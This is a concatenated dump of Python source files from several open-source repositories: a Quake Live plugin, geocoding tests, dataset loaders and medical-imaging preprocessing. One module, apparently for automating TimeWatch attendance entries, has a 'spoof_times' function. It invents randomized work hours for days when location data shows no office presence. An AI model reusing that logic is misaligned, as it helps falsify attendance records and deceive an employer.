sg, gl, rl, lg, rg, pg, bfg, gh, ng, pl, cg, hmg, hands)))\n\n def weapon(self, new_weapon=None):\n if new_weapon is None:\n return self.state.weapon\n elif new_weapon in minqlx.WEAPONS:\n pass\n elif new_weapon in minqlx.WEAPONS.values():\n new_weapon = tuple(minqlx.WEAPONS.values()).index(new_weapon)\n\n return minqlx.set_weapon(self.id, new_weapon)\n\n def ammo(self, reset=False, **kwargs):\n if reset:\n a = minqlx.Weapons(((0,)*15))\n else:\n a = self.state.ammo\n\n if not kwargs:\n return a\n\n g = a.g if \"g\" not in kwargs else kwargs[\"g\"]\n mg = a.mg if \"mg\" not in kwargs else kwargs[\"mg\"]\n sg = a.sg if \"sg\" not in kwargs else kwargs[\"sg\"]\n gl = a.gl if \"gl\" not in kwargs else kwargs[\"gl\"]\n rl = a.rl if \"rl\" not in kwargs else kwargs[\"rl\"]\n lg = a.lg if \"lg\" not in kwargs else kwargs[\"lg\"]\n rg = a.rg if \"rg\" not in kwargs else kwargs[\"rg\"]\n pg = a.pg if \"pg\" not in kwargs else kwargs[\"pg\"]\n bfg = a.bfg if \"bfg\" not in kwargs else kwargs[\"bfg\"]\n gh = a.gh if \"gh\" not in kwargs else kwargs[\"gh\"]\n ng = a.ng if \"ng\" not in kwargs else kwargs[\"ng\"]\n pl = a.pl if \"pl\" not in kwargs else kwargs[\"pl\"]\n cg = a.cg if \"cg\" not in kwargs else kwargs[\"cg\"]\n hmg = a.hmg if \"hmg\" not in kwargs else kwargs[\"hmg\"]\n hands = a.hands if \"hands\" not in kwargs else kwargs[\"hands\"]\n\n return minqlx.set_ammo(self.id,\n minqlx.Weapons((g, mg, sg, gl, rl, lg, rg, pg, bfg, gh, ng, pl, cg, hmg, hands)))\n\n def powerups(self, reset=False, **kwargs):\n if reset:\n pu = minqlx.Powerups(((0,)*6))\n else:\n pu = self.state.powerups\n\n if not kwargs:\n return pu\n\n quad = pu.quad if \"quad\" not in kwargs else round(kwargs[\"quad\"]*1000)\n bs = pu.battlesuit if \"battlesuit\" not in kwargs else round(kwargs[\"battlesuit\"]*1000)\n haste = pu.haste if \"haste\" not in kwargs else round(kwargs[\"haste\"]*1000)\n invis = pu.invisibility if \"invisibility\" not in kwargs else round(kwargs[\"invisibility\"]*1000)\n regen = pu.regeneration if \"regeneration\" not in kwargs else round(kwargs[\"regeneration\"]*1000)\n invul = pu.invulnerability if \"invulnerability\" not in kwargs else round(kwargs[\"invulnerability\"]*1000)\n\n return minqlx.set_powerups(self.id,\n minqlx.Powerups((quad, bs, haste, invis, regen, invul)))\n\n @property\n def holdable(self):\n return self.state.holdable\n\n @holdable.setter\n def holdable(self, value):\n if not value:\n minqlx.set_holdable(self.id, 0)\n elif value == \"teleporter\":\n minqlx.set_holdable(self.id, 27)\n elif value == \"medkit\":\n minqlx.set_holdable(self.id, 28)\n elif value == \"flight\":\n minqlx.set_holdable(self.id, 34)\n self.flight(reset=True)\n elif value == \"kamikaze\":\n minqlx.set_holdable(self.id, 37)\n elif value == \"portal\":\n minqlx.set_holdable(self.id, 38)\n elif value == \"invulnerability\":\n minqlx.set_holdable(self.id, 39)\n else:\n raise ValueError(\"Invalid holdable item.\")\n\n def drop_holdable(self):\n minqlx.drop_holdable(self.id)\n\n def flight(self, reset=False, **kwargs):\n state = self.state\n if state.holdable != \"flight\":\n self.holdable = \"flight\"\n reset = True\n\n if reset:\n # Set to defaults on reset.\n fl = minqlx.Flight((16000, 16000, 1200, 0))\n else:\n fl = state.flight\n\n fuel = fl.fuel if \"fuel\" not in kwargs else kwargs[\"fuel\"]\n max_fuel = fl.max_fuel if \"max_fuel\" not in kwargs else kwargs[\"max_fuel\"]\n thrust = fl.thrust if \"thrust\" not in kwargs else kwargs[\"thrust\"]\n refuel = fl.refuel if \"refuel\" not in kwargs else kwargs[\"refuel\"]\n\n return minqlx.set_flight(self.id, minqlx.Flight((fuel, max_fuel, thrust, refuel)))\n\n @property\n def noclip(self):\n return self.state.noclip\n\n @noclip.setter\n def noclip(self, value):\n minqlx.noclip(self.id, bool(value))\n\n @property\n def health(self):\n return self.state.health\n\n @health.setter\n def health(self, value):\n minqlx.set_health(self.id, value)\n\n @property\n def armor(self):\n return self.state.armor\n\n @armor.setter\n def armor(self, value):\n minqlx.set_armor(self.id, value)\n\n @property\n def is_alive(self):\n return self.state.is_alive\n\n @is_alive.setter\n def is_alive(self, value):\n if not isinstance(value, bool):\n raise ValueError(\"is_alive needs to be a boolean.\")\n\n cur = self.is_alive\n if cur and value is False:\n # TODO: Proper death and not just setting health to 0.\n self.health = 0\n elif not cur and value is True:\n minqlx.player_spawn(self.id)\n\n @property\n def is_frozen(self):\n return self.state.is_frozen\n\n @property\n def score(self):\n return self.stats.score\n\n @score.setter\n def score(self, value):\n return minqlx.set_score(self.id, value)\n\n @property\n def air_control(self):\n return self.state.air_control\n\n @air_control.setter\n def air_control(self, value):\n minqlx.set_air_control(self.id, value)\n\n @property\n def channel(self):\n return minqlx.TellChannel(self)\n\n def center_print(self, msg):\n minqlx.send_server_command(self.id, \"cp \\\"{}\\\"\".format(msg))\n\n def tell(self, msg, **kwargs):\n return minqlx.Plugin.tell(msg, self, **kwargs)\n\n def kick(self, reason=\"\"):\n return minqlx.Plugin.kick(self, reason)\n\n def ban(self):\n return minqlx.Plugin.ban(self)\n\n def tempban(self):\n return minqlx.Plugin.tempban(self)\n\n def addadmin(self):\n return minqlx.Plugin.addadmin(self)\n\n def addmod(self):\n return minqlx.Plugin.addmod(self)\n\n def demote(self):\n return minqlx.Plugin.demote(self)\n\n def mute(self):\n return minqlx.Plugin.mute(self)\n\n def unmute(self):\n return minqlx.Plugin.unmute(self)\n\n def put(self, team):\n return minqlx.Plugin.put(self, team)\n\n def addscore(self, score):\n return minqlx.Plugin.addscore(self, score)\n\n def switch(self, other_player):\n return minqlx.Plugin.switch(self, other_player)\n\n def slap(self, damage=0):\n return minqlx.Plugin.slap(self, damage)\n\n def slay(self):\n return minqlx.Plugin.slay(self)\n\n def slay_with_mod(self, mod):\n return minqlx.slay_with_mod(self.id, mod)\n\n @classmethod\n def all_players(cls):\n return [cls(i, info=info) for i, info in enumerate(minqlx.players_info()) if info]\n\nclass AbstractDummyPlayer(Player):\n def __init__(self, name=\"DummyPlayer\"):\n info = minqlx.PlayerInfo((-1, name, minqlx.CS_CONNECTED,\n _DUMMY_USERINFO, -1, minqlx.TEAM_SPECTATOR, minqlx.PRIV_NONE))\n super().__init__(-1, info=info)\n\n @property\n def id(self):\n raise AttributeError(\"Dummy players do not have client IDs.\")\n\n @property\n def steam_id(self):\n raise NotImplementedError(\"steam_id property needs to be implemented.\")\n\n def update(self):\n pass\n\n @property\n def channel(self):\n raise NotImplementedError(\"channel property needs to be implemented.\")\n\n def tell(self, msg):\n raise NotImplementedError(\"tell() needs to be implemented.\")\n\nclass RconDummyPlayer(AbstractDummyPlayer):\n def __init__(self):\n super().__init__(name=self.__class__.__name__)\n\n @property\n def steam_id(self):\n return minqlx.owner()\n\n @property\n def channel(self):\n return minqlx.CONSOLE_CHANNEL\n\n def tell(self, msg):\n self.channel.reply(msg)\n", "source": "mgaertne/minqlx-plugin-tests", "license": "BSD-3-Clause"}
+{"text": "from service.geometry import Point\nfrom . import asciifold\nfrom .test_search_addresses_simple import SearchAddressesBaseTest\n\nCOMMON_ISCT = 'salta y santa fe'\n\n\nclass SearchAddressesIsctTest(SearchAddressesBaseTest):\n \"\"\"Pruebas de b\u00fasqueda por direcci\u00f3n de tipo 'intersection'.\"\"\"\n\n def setUp(self):\n self.endpoint = '/api/direcciones'\n self.entity = 'direcciones'\n super().setUp()\n\n def test_basic_fields_set(self):\n \"\"\"Se deber\u00eda poder especificar un conjunto de par\u00e1metros\n preseleccionados llamado 'basico'.\"\"\"\n self.assert_basic_fields_set(COMMON_ISCT)\n\n def test_standard_fields_set(self):\n \"\"\"Se deber\u00eda poder especificar un conjunto de par\u00e1metros\n preseleccionados llamado 'estandar'.\"\"\"\n self.assert_standard_fields_set(COMMON_ISCT)\n\n def test_complete_fields_set(self):\n \"\"\"Se deber\u00eda poder especificar un conjunto de par\u00e1metros\n preseleccionados llamado 'completo'.\"\"\"\n self.assert_complete_fields_set(COMMON_ISCT)\n\n def test_basic_intersection_search(self):\n \"\"\"La b\u00fasqueda de direcciones de tipo intersecci\u00f3n deber\u00eda devolver\n resultados con dos IDs cada uno, uno para cada calle, en el orden\n apropiado.\"\"\"\n self.assert_intersection_search_ids_matches(\n 'Av. San Juan y Piedras',\n [\n ('0200701001725', '0200701009350')\n ])\n\n def test_basic_intersection_search_reversed(self):\n \"\"\"La b\u00fasqueda de direcciones de tipo intersecci\u00f3n deber\u00eda devolver\n resultados con dos IDs cada uno, uno para cada calle, en el orden\n apropiado.\"\"\"\n self.assert_intersection_search_ids_matches(\n 'Piedras y Av. San Juan',\n [\n ('0200701009350', '0200701001725')\n ])\n\n def test_intersection_search_keywords(self):\n \"\"\"La b\u00fasqueda de direcciones de tipo intersecci\u00f3n deber\u00eda reconocer\n palabras clave como 'esquina', 'esq.', 'y', 'e', etc.\"\"\"\n self.assert_intersection_search_ids_matches(\n 'Larrea esquina Sarmiento', # al 3500?\n [\n ('0202101007345', '0202101010480')\n ],\n params={\n 'provincia': '02'\n }\n )\n\n def test_intersection_location_with_door_num(self):\n \"\"\"Si se especifica una intersecci\u00f3n con altura, se deber\u00eda utilizar\n la posici\u00f3n de la altura sobre la primera calle como posici\u00f3n final.\"\"\"\n resp_simple = self.get_response({'direccion': 'Cerro Beldevere 501'})\n loc_simple = resp_simple[0]['ubicacion']\n\n resp_isct = self.get_response({\n 'direccion': 'Cerro Beldevere 501 y El Calafate'\n })\n loc_isct = resp_isct[0]['ubicacion']\n\n self.assertAlmostEqual(loc_simple['lat'], loc_isct['lat'])\n self.assertAlmostEqual(loc_simple['lon'], loc_isct['lon'])\n\n def test_intersection_location_no_door_num(self):\n \"\"\"Si no se especifica una altura en una intersecci\u00f3n, se deber\u00eda\n utilizar la posici\u00f3n de la intersecci\u00f3n como campo 'ubicacion'.\"\"\"\n resp = self.get_response({\n 'direccion': 'Maip\u00fa esquina Mendoza',\n 'departamento': 'Rosario'\n })\n loc = resp[0]['ubicacion']\n\n point_isct = Point.from_json_location(loc)\n point_target = Point(-60.636548, -32.952020)\n error_m = point_isct.approximate_distance_meters(point_target)\n self.assertTrue(error_m < 15, error_m)\n\n def test_intersection_nonexistent_door_num(self):\n \"\"\"Si se especifica una intersecci\u00f3n con altura, la posici\u00f3n de la\n altura sobre la primera calle deber\u00eda estar a menos de\n ISCT_DOOR_NUM_TOLERANCE_M metros de la posici\u00f3n de la intersecci\u00f3n.\n Solo se retornan casos donde se cumpla esa condidici\u00f3n.\"\"\"\n resp_simple = self.get_response({\n 'direccion': 'Cabrera 1000',\n 'departamento': 'Rio Cuarto'\n })\n\n resp_isct = self.get_response({\n 'direccion': 'Cabrera 1000 y De\u00e1n Funes',\n 'departamento': 'Rio Cuarto'\n })\n\n self.assertTrue(resp_simple and not resp_isct)\n\n def test_intersection_position(self):\n \"\"\"La posici\u00f3n de una intersecci\u00f3n deber\u00eda estar cerca a la posici\u00f3n de\n una altura sobre la primera calle cerca de la esquina.\"\"\"\n resp_simple = self.get_response({\n 'direccion': 'Dr. Adolfo Guemes al 600',\n 'departamento': '66028'\n })\n\n resp_isct = self.get_response({\n 'direccion': 'Dr. Adolfo esq. Rivadavia',\n 'departamento': '66028'\n })\n\n point_simple = Point.from_json_location(resp_simple[0]['ubicacion'])\n point_isct = Point.from_json_location(resp_isct[0]['ubicacion'])\n\n self.assertLess(\n point_simple.approximate_distance_meters(point_isct),\n 30 # metros\n )\n\n def test_invalid_intersection_a(self):\n \"\"\"Una b\u00fasqueda de intersecciones con la primera calle inexistente\n deber\u00eda traer 0 resultados.\"\"\"\n self.assert_intersection_search_ids_matches('FoobarFoobar y Tucum\u00e1n',\n [])\n\n def test_invalid_intersection_b(self):\n \"\"\"Una b\u00fasqueda de intersecciones con la segunda calle inexistente\n deber\u00eda traer 0 resultados.\"\"\"\n self.assert_intersection_search_ids_matches('Tucum\u00e1n y FoobarFoobar',\n [])\n\n def test_invalid_intersection_both(self):\n \"\"\"Una b\u00fasqueda de intersecciones con ambas calles inexistentes deber\u00eda\n traer 0 resultados.\"\"\"\n self.assert_intersection_search_ids_matches('QuuzQuux y FoobarFoobar',\n [])\n\n def test_name_ordering(self):\n \"\"\"Los resultados deben poder ser ordenados por nombre.\"\"\"\n resp = self.get_response({\n 'direccion': 'santa fe y salta',\n 'orden': 'nombre',\n 'max': 1000\n })\n\n ordered = [r['calle']['nombre'] for r in resp]\n expected = sorted(ordered, key=asciifold)\n self.assertListEqual(ordered, expected)\n\n def test_id_ordering(self):\n \"\"\"Los resultados deben poder ser ordenados por ID.\"\"\"\n resp = self.get_response({\n 'direccion': 'santa fe y salta',\n 'orden': 'id',\n 'max': 1000\n })\n\n ordered = [r['calle']['id'] for r in resp]\n expected = sorted(ordered)\n self.assertListEqual(ordered, expected)\n\n def assert_intersection_search_ids_matches(self, address, ids,\n params=None):\n if not params:\n params = {}\n\n params['direccion'] = address\n resp = self.get_response(params)\n resp_ids = []\n\n for address_hit in resp:\n resp_ids.append((address_hit['calle']['id'],\n address_hit['calle_cruce_1']['id']))\n\n self.assertListEqual(sorted(ids), sorted(resp_ids))\n", "source": "BetssonGroup/georef-ar-api", "license": "MIT"}
+{"text": "\nfrom .jaccard import db_eval_iou\n# from .t_stability import db_eval_t_stab // tstab does not work\nfrom .f_boundary import db_eval_boundary\n\n", "source": "flyingleafe/davis", "license": "BSD-3-Clause"}
+{"text": "# -*- coding: utf-8 -*-\n# vim: ts=4 sw=4 sts=4 ff=unix ft=python expandtab\n\nimport datetime\nfrom peewee import *\n\nfavwatch_log = Proxy()\n\n\nclass BaseModel(Model):\n class Meta:\n database = favwatch_log\n\n\nclass FavLog(BaseModel):\n fav_by_screen_name = TextField(null=False)\n fav_rough_seen = DateTimeField(default=datetime.datetime.now)\n\n screen_name = TextField(null=True)\n name = TextField(null=True)\n id_str = TextField(null=False, index=True)\n text = TextField(null=True)\n fav_created_at = DateTimeField(null=True)\n\n class Meta:\n db_table = 'log'\n indexes = (\n (('fav_by_screen_name', 'id_str'), False),\n )\n", "source": "tinbotu/favwatch", "license": "MIT"}
+{"text": "\"\"\" Usage:\n merge_pandas_conll --out=OUTPUT_FN ...\n\nMerge a list of data frames in csv format and print to output file.\n\"\"\"\nfrom docopt import docopt\nimport pandas as pd\nimport logging\nlogging.basicConfig(level = logging.DEBUG)\n\nif __name__ == \"__main__\":\n args = docopt(__doc__)\n logging.debug(args)\n input_fns = args[\"\"]\n out_fn = args[\"--out\"]\n pd.concat([pd.read_csv(fn,\n sep = '\\t',\n header = 0)\n for fn in input_fns]).to_csv(out_fn,\n sep = '\\t',\n header = True,\n index = False)\n", "source": "acoli-repo/OpenIE_Stanovsky_Dagan", "license": "MIT"}
+{"text": "\"\"\"\nThis module abstract a single work date and deals with all the aspects of extracting data\nand meta data about and from this specific date: gps data, determining if work day, holiday etc.\n\"\"\"\n\nimport os\nimport datetime as dt\nimport platform\nfrom random import randint\nfrom math import isclose\nimport subprocess\nimport time\nfrom fastkml import kml\nimport calendar\nimport re\n\nimport twlog\n\nlogger = twlog.TimeWatchLogger()\n\n\nclass WorkDate:\n\n def __init__(self, date, download_dir, work_location):\n self._date = date\n self.mode = ''\n self.excuse = None\n self.work_day_times = {}\n self._download_dir = download_dir\n self._work_location = work_location\n logger.debug('Initialized date %s', date.strftime('%Y-%m-%d'))\n\n def query_work_date(self, work_day, weekend):\n \"\"\"\n Checks whether current date has gps data or not.\n Downloads a kml file from google timeline.\n mode is set to 'gps' if the kml file indicated that were at work at current date.\n Otherwise `mode` will be 'non-gps'.\n In case the day a weekend, mode will be set to 'weekend'\n :param dict work_day: workday configuration from the JSON parameters file\n :param list weekend: list of the names of the days in the weekend\n :return:\n \"\"\"\n if self.is_work_day(weekend):\n logger.debug('Data %s is a work day', self._date.strftime('%Y-%m-%d'))\n self.mode = 'non_gps'\n if self._work_location is not None:\n with KMLFile(file_date=self._date, download_dir=self._download_dir) as f:\n kml_data = f.read()\n k = KMLData(kml_data=kml_data)\n if k.is_at_work(work_location=self._work_location):\n self.mode = 'gps'\n if self.mode == 'gps':\n logger.debug('Date %s has valid gps data - work from office', self._date.strftime('%Y-%m-%d'))\n return k.get_work_times(work_location=self._work_location)\n elif self.mode == 'non_gps':\n logger.debug('Date %s has no valid gps data - not in office', self._date.strftime('%Y-%m-%d'))\n if work_day['randomize']:\n return self.spoof_times(work_day=work_day)\n else:\n return self.fixed_times(work_day=work_day)\n else:\n self.mode = 'weekend'\n\n def is_work_day(self, weekend):\n \"\"\"\n Check is current date is a weekday based on provided data in the parameters file.\n :param list weekend: Names of the weekend days\n :return: bool. True if current date is part of :param: weekend.\n \"\"\"\n return not self._date.weekday() in [ii for ii, x in enumerate(list(calendar.day_name)) if x in weekend]\n\n def spoof_times(self, work_day: dict) -> dict:\n \"\"\"\n Randomizes start and end times in the day.\n Randomization is based on [work][work_day] parameters.\n\n Randomize starting from the minimal start time with 0-2 hours.\n Randomize end such that work day won't be longer than max length day [hours] or shorter than nominal-1 [hours]\n or that is won't end past maximal end time, as provided in the parameters file.\n\n :param dict work_day: the parsed input from JSON parameters file section [work][work_day]\n :return: dict with start datetime object and end datetime object representing the start/end of workday\n \"\"\"\n ptn = r'(?P\\d+)\\:(?P\\d+)'\n match_min = re.search(pattern=ptn, string=work_day['minimal_start_time'])\n match_max = re.search(pattern=ptn, string=work_day['maximal_end_time'])\n start_time = dt.datetime(\n year=self._date.year, month=self._date.month, day=self._date.day,\n hour=int(match_min.group('hour')) + randint(0, 2),\n minute=int(randint(0, 59)))\n end_time = start_time\n delta = end_time - start_time\n while delta.seconds // 3600 > work_day['max_length'] or \\\n delta.seconds // 3600 < work_day['nominal_length'] - 1 or \\\n end_time.hour > int(match_max.group('hour')):\n end_time = dt.datetime(\n year=self._date.year, month=self._date.month, day=self._date.day,\n hour=start_time.hour + work_day['nominal_length'] + randint(-1, 1),\n minute=int(randint(0, 59)))\n delta = end_time - start_time\n\n return {'start': start_time, 'end': end_time}\n\n def fixed_times(self, work_day: dict) -> dict:\n \"\"\"\n Generate start and end dates according to the provided parameters.\n Start time is set to the minimal_start_time value, and\n end time is set to the maximal_start_time value.\n\n :param dict work_day: the parsed input from JSON parameters file section [work][work_day]\n :return: dict with start datetime object and end datetime object representing the start/end of workday\n \"\"\"\n ptn = r'(?P\\d+)\\:(?P\\d+)'\n match_min = re.search(pattern=ptn, string=work_day['minimal_start_time'])\n match_max = re.search(pattern=ptn, string=work_day['maximal_end_time'])\n start_time = dt.datetime(\n year=self._date.year, month=self._date.month, day=self._date.day,\n hour=int(match_min.group('hour')),\n minute=int(match_min.group('minute')))\n end_time = dt.datetime(\n year=self._date.year, month=self._date.month, day=self._date.day,\n hour=int(match_max.group('hour')),\n minute=int(match_max.group('minute')))\n\n return {'start': start_time, 'end': end_time}\n\nclass KMLFile:\n \"\"\"\n Represents the KML file itself.\n Encapsulate file operations on KML file\n \"\"\"\n\n def __init__(self, file_date, download_dir):\n self.file_date = file_date\n self._file_dir = download_dir\n self._download_process = None\n\n def __enter__(self):\n self._download_file()\n return self\n\n def __exit__(self, *exception):\n try:\n os.remove(self._generate_file_name())\n logger.debug('file %s was removed', self._generate_file_name())\n except PermissionError:\n logger.debug('unable to remove file %s',\n self._generate_file_name())\n logger.debug('attempt to close download file browser window')\n self._download_process.kill()\n\n def read(self):\n \"\"\"\n read kml data from the saved file into a raw string\n :return:\n \"\"\"\n with open(file=self._generate_file_name(), mode='rb') as f:\n return f.read()\n\n def _generate_file_name(self):\n \"\"\"\n Generate file name for the downloaded kml file.\n\n :return str: full path to file name with .kml extension\n \"\"\"\n return os.path.join(\n self._file_dir, 'history-' + dt.datetime.strftime(self.file_date, '%Y-%m-%d') + '.kml')\n\n def _generate_timeline_url(self):\n \"\"\"\n Generates url to download kml file from google based on required date.\n\n :return str: kml download link for class instance date\n \"\"\"\n\n base_url = r'https://www.google.com/maps/timeline/kml?authuser=0&pb=!1m8!1m3!1'\n start_date_str = ('i' + str(self.file_date.year)\n + '!2i' + str(self.file_date.month - 1)\n + '!3i' + str(self.file_date.day))\n end_date_str = start_date_str\n\n out = base_url + start_date_str + '!2m3!1' + end_date_str\n logger.debug('Google Timeline download link is %s', out)\n return out\n\n def _download_file(self):\n logger.debug('Start download of kml file')\n if platform.system() == 'Linux':\n self._download_process = subprocess.Popen(args=('google-chrome', self._generate_timeline_url()),\n stdout=subprocess.PIPE,\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE)\n elif platform.system() == 'Windows':\n chrome_path = \"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\"\n self._download_process = subprocess.Popen(args=(chrome_path, self._generate_timeline_url()),\n stdout=subprocess.PIPE,\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE)\n else:\n raise ValueError(f'{platform.system()} is not a supported os')\n\n file_name = self._generate_file_name()\n\n counter = 0\n max_cycles = 1000\n sleep_time = 0.5 # seconds\n while not os.path.exists(file_name):\n if counter > max_cycles:\n raise RuntimeError(\n 'more that {} seconds waiting for file to be download - stopping'.format(\n str(sleep_time * max_cycles)))\n else:\n time.sleep(sleep_time)\n counter += 1\n\n else:\n logger.debug('Finished kml file download: %s', file_name)\n\n\nclass KMLData:\n \"\"\"\n Accepts download date in the ``DD-mm-YYYY`` format\n and generates kml from google for the date given.\n \"\"\"\n\n kml_data = ''\n download_date = ''\n _driver = ''\n\n def __init__(self, kml_data):\n self.kml_data = kml.KML()\n self.kml_data.from_string(kml_data)\n self.work_date_times = {'start': {'hour': None, 'minute': None}, 'end': {'hour': None, 'minute': None}}\n self.work_location_tolerance = 3\n\n def is_at_work(self, work_location):\n try:\n work_times = self.get_work_times(work_location=work_location)\n return bool(work_times)\n except ValueError:\n return False\n\n def _gen_placemarks(self):\n try:\n for p in self.kml_data._features[0]._features:\n yield {'t': p._time_span, 'coords': p._geometry.geometry.coords}\n except IndexError:\n return\n\n def get_work_times(self, work_location):\n \"\"\"\n Parses all the placemarks in the kml data and extract coordinates of each mark.\n Coordinates are measured for distance from work location (provided :param:)\n Each placemark that is deemed to be close enough to the work location is measured for\n time at arrival and departure.\n The largest difference (first arrival and last departure) are returned as total time spent at work.\n\n :param dict work_location: lat and long work location - from JSON paramters\n\n :returns: dict minimal start time and maximal end time\n \"\"\"\n start_times = list()\n end_times = list()\n for p in self._gen_placemarks():\n if is_within_distance(work_location, p['coords'][0], self.work_location_tolerance):\n start_times.append(p['t'].begin[0].astimezone())\n end_times.append(p['t'].end[0].astimezone())\n try:\n return {'start': min(start_times), 'end': max(start_times)}\n except ValueError:\n return None\n\n\ndef date_list(start_date, end_date):\n \"\"\"\n generator of dates in sequence between two given dates.\\n\n yields dates in the sequence for iteration only if they are work days.\n\n :yields: date for upadte\n \"\"\"\n delta = end_date - start_date\n for d in range(delta.days + 1):\n tmp_date = start_date + dt.timedelta(days=d)\n yield tmp_date\n\n\ndef is_within_distance(work_location, coordinates, tolerance):\n \"\"\"\n Checks if coordinates provided are withhin a tolerance of the work location.\n\n :param lst coordinates: list of coordinates: lat, long, elevation in Decimal degrees notation\n :param int tolerance: multiplier to determine final search radius around coordinates\n :param dict work_location: lat and long of work location\n :return: True if provided coordinates are within tolerance of work coordinates\n \"\"\"\n\n # round to 3 decimal places - gives a ~100 meters precision\n # assumes to be neighborhood or street\n # https://en.wikipedia.org/wiki/Decimal_degrees\n precision = pow(10, -3)\n\n is_close_long = isclose(coordinates[0], round(float(work_location['long']), 5), abs_tol=tolerance * precision)\n is_close_lat = isclose(coordinates[1], round(float(work_location['lat']), 5), abs_tol=tolerance * precision)\n\n return is_close_lat and is_close_long\n", "source": "bouncingjack/twu", "license": "Apache-2.0"}
+{"text": "import os\nimport torch\nimport numpy as np\nimport cv2\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms, utils\nimport torch.nn.functional as F\nimport PIL.Image as Image\nimport random\n\n\nclass Dataset360N(Dataset):\n def __init__(self, filenames_filepath, delimiter, input_shape):\n self.length = 0\n self.height = input_shape[0]\n self.width = input_shape[1]\n self.filenames_filepath = filenames_filepath\n self.delim = delimiter\n self.data_paths = {}\n self.init_data_dict()\n self.gather_filepaths()\n\n def init_data_dict(self):\n self.data_paths = {\n \"rgb\": [],\n \"surface\": []\n }\n \n def gather_filepaths(self):\n fd = open(self.filenames_filepath, 'r')\n lines = fd.readlines()\n for line in lines:\n splits = line.split(self.delim)\n self.data_paths[\"rgb\"].append(splits[0])\n # TODO: check for filenames files format\n self.data_paths[\"surface\"].append(splits[6])\n fd.close()\n assert len(self.data_paths[\"rgb\"]) == len(self.data_paths[\"surface\"])\n self.length = len(self.data_paths[\"rgb\"])\n\n def load_rgb(self, filepath):\n if not os.path.exists(filepath):\n print(\"\\tGiven filepath <{}> does not exist\".format(filepath))\n return np.zeros((self.height, self.width, 3), dtype = np.float32)\n rgb_np = cv2.imread(filepath, cv2.IMREAD_ANYCOLOR)\n return rgb_np\n\n def load_float(self, filepath):\n if not os.path.exists(filepath):\n print(\"\\tGiven filepath <{}> does not exist\".format(filepath))\n return np.zeros((self.height, self.width, 3), dtype = np.float32)\n surface_np = cv2.imread(filepath, cv2.IMREAD_UNCHANGED)\n # Creates mask for invalid values\n surface_np[np.isnan(surface_np)] = 0.0\n mask_np = np.ones_like(surface_np)\n mask_np[np.sum(surface_np, 2) == 0.0] = 0.0\n return surface_np, mask_np\n\n def clean_normal(self, normal):\n # check if normals are close to the dominant\n # coord system normals\n shape = normal.shape\n vecs = [\n [1, 0, 0],\n [0, 1, 0],\n [0, 0 ,1],\n [-1, 0, 0],\n [0, -1, 0],\n [0, 0, -1]\n ]\n for vec in vecs:\n vec_mat = np.asarray(vec, dtype = np.float32)\n vec_mat = np.expand_dims(vec_mat, 0)\n vec_mat = np.expand_dims(vec_mat, 1)\n vec_mat = vec_mat.repeat(shape[0], 0)\n vec_mat = vec_mat.repeat(shape[1], 1)\n inds = np.isclose(normal, vec_mat, 0.0001, 0.1)\n inds = inds[:, :, 0] & inds[:, :, 1] & inds[:, :, 2]\n normal[inds, 0] = vec[0]\n normal[inds, 1] = vec[1]\n normal[inds, 2] = vec[2]\n return normal\n\n def make_tensor(self, np_array):\n np_array = np_array.transpose(2, 0, 1)\n tensor = torch.from_numpy(np_array)\n return torch.as_tensor(tensor, dtype = torch.float32)\n\n def load_item(self, idx):\n item = { }\n if (idx >= self.length):\n print(\"Index out of range.\")\n else:\n rgb_np = self.load_rgb(self.data_paths[\"rgb\"][idx])\n surface_np, mask_np = self.load_float(self.data_paths[\"surface\"][idx])\n surface_np = self.clean_normal(surface_np)\n rgb = self.make_tensor(rgb_np)\n surface = self.make_tensor(surface_np)\n surface = F.normalize(surface, p = 2, dim = 1)\n mask = self.make_tensor(mask_np)\n item['input_rgb'] = rgb\n item['target_surface'] = surface\n item['mask'] = mask\n item['filename'] = os.path.basename(self.data_paths[\"surface\"][idx])\n return item\n \n def __len__(self):\n return self.length\n \n def __getitem__(self, idx):\n return self.load_item(idx)", "source": "VCL3D/HyperSphereSurfaceRegression", "license": "BSD-2-Clause"}
+{"text": "'''\n @ Date: 2022/3/23 19:05\n @ Author: Zhao YaChen\n'''\nimport dicom2nifti\nimport pydicom as dicom\nimport nibabel as nib\nimport numpy as np\nfrom io import BytesIO\nfrom pydicom import read_file\nimport os\nimport re\nimport shutil\nimport pandas as pd\nimport SimpleITK as sitk\nimport h5py\nimport scipy.ndimage as ndimage\n\nfrom nipype.interfaces.ants import N4BiasFieldCorrection\n\nimport radiomics.featureextractor as FEE\nfrom radiomics.imageoperations import getWaveletImage, getLoGImage\nfrom radiomics.firstorder import RadiomicsFirstOrder\nfrom dicom2nifti.exceptions import ConversionError\n'''\n \u6587\u4ef6\u8def\u5f84\u5b9a\u4e49\n'''\ndefault_prefix = 'D:/Desktop/BREAST/BREAST/'\nname_mapping_path = default_prefix + 'breast-dataset-training-validation/Breast_meta_data/breast_name_mapping.csv'\ndefault_directory = 'F:/breastMR_202003_sort'\nfune_directory = 'F:/breast_dataset_patient'\noutput_label_info = 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/output_label_info.csv'\n\nroot_path = 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_TrainingData'\n\n'''\n \u5f97\u5230\u6587\u4ef6\u5939\u5185\u5404\u4e2a\u6587\u4ef6\u540d\u79f0\n'''\ndef get_file_list_by_time(file_path):\n dir_list = os.listdir(file_path)\n if not dir_list:\n return\n else:\n # \u6ce8\u610f\uff0c\u8fd9\u91cc\u4f7f\u7528lambda\u8868\u8fbe\u5f0f\uff0c\u5c06\u6587\u4ef6\u6309\u7167\u6700\u540e\u4fee\u6539\u65f6\u95f4\u987a\u5e8f\u5347\u5e8f\u6392\u5217\n # os.path.getmtime() \u51fd\u6570\u662f\u83b7\u53d6\u6587\u4ef6\u6700\u540e\u4fee\u6539\u65f6\u95f4\n # os.path.getctime() \u51fd\u6570\u662f\u83b7\u53d6\u6587\u4ef6\u6700\u540e\u521b\u5efa\u65f6\u95f4\n dir_list = sorted(dir_list,key=lambda x: os.path.getctime(os.path.join(file_path, x)))\n print(dir_list)\n return dir_list\n\ndef sort_key(s):\n # \u6392\u5e8f\u5173\u952e\u5b57\u5339\u914d\n # \u5339\u914d\u5f00\u5934\u6570\u5b57\u5e8f\u53f7\n if s:\n try:\n c = re.findall('^\\d+', s)[0]\n except:\n c = -1\n return int(c)\n\n# 